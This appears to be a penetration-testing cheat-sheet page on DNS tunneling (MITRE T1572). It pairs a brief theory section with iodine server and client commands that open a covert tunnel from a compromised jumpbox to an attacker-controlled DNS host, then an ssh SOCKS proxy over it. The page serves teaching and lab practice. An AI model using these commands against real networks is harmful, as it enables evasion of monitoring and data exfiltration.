DNS Tunneling

MITRE ATT&CK™ Protocol Tunneling - Technique T1572

Theory

DNS Tunneling also known as TCP over DNS, is another method used for covert communication and circumventing network security measures. In DNS tunneling, data is encoded in DNS queries and responses to create a communication channel between two endpoints. DNS, which is primarily designed for translating domain names to IP addresses, becomes a carrier for data that may not be related to traditional domain resolution.

DNS tunneling may also be used as an exfiltration channel.

Practice

iodine

iodine is a C software that lets you tunnel IPv4 data through a DNS server. On the attacking machine we can run the server:

v4resk@kali$ sudo iodined -f -c -P password 10.1.1.1/24 my.attackingDnsServer.com    

On the compromised host, the jumpbox, we will setup the iodine client:

[email protected]$ sudo iodine -P password my.dnsServer.com     

Now the attacking machine and the compromised host are sending traffics throught the dns0 interface. All communication over this interface on the network 10.1.1.1/24 will be over the DNS. We can then setup a socks5 proxy using the -D argument of ssh client.

veresk@kali$ ssh [email protected] -4 -D 1080 -Nf

dnscat2

Resources

Data ExfiltrationTryHackMe